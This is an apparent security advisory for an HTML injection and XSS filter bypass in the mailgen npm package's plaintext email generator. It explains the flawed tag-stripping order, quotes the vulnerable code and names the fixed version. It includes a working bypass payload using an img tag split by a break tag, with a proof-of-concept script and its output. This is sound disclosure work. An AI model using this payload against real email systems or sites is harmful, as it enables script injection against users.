VDB
Sign up
MEDIUM5.3

GHSA-j2xj-h7w5-r7vp

Mailgen: HTML injection vulnerability in plaintext e-mails

Quick fix

GHSA-j2xj-h7w5-r7vp — mailgen: upgrade to the fixed version with the command below.

npm install mailgen@2.0.30

Details

# HTML Injection and XSS Filter Bypass in Plaintext Emails

### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

### Vulnerability Analysis The following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.

```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params);

// Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

// Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag);

// Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, '');

// Replace html break tags with linebreaks output = output.replace(breakTag, '\n');

// Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); }

// Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, '');

// Decode HTML entities such as &copy; output = he.decode(output);

// All done! return output; }; ```

The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.

A valid payload is: `<img<br> src=xyz onerror=alert(1)>`.

### Proof of Concept

```javascript var Mailgen = require('mailgen');

var mailGenerator = new Mailgen({ theme: 'default', product: { name: 'Mailgen', link: 'https://mailgen.js/' } });

var email = { body: { name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } };

// Generate the plaintext version of the e-mail var emailText = mailGenerator.generatePlaintext(email);

// Optionally, preview the generated plaintext e-mail require('fs').writeFileSync('emailText.txt', emailText, 'utf8'); ```

**Resulting output file (`emailText.txt`):**

```html Hi John <img src=xyz onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.

To get started with Mailgen, please click here: secret-link

Need help, or have questions? Just reply to this email, we'd love to help.

Yours truly, Mailgen

© 2025 Mailgen. All rights reserved. ```

### Mitigation The vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.

Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/mailgen
Introduced in: 0Fixed in: 2.0.30
Fixnpm install mailgen@2.0.30

References